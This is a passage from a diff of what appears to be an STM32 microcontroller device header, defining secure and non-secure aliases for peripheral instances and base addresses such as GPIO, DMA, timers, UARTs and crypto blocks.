GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + +#define OTFDEC2 OTFDEC2_S +#define OTFDEC2_BASE OTFDEC2_BASE_S + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_S +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_S + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_S +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_S + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_S +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_S + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_S +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + +#define OTFDEC2 OTFDEC2_NS +#define OTFDEC2_BASE OTFDEC2_BASE_NS + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_NS +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_NS + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_NS +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_NS + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_NS +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_NS + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_NS +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define 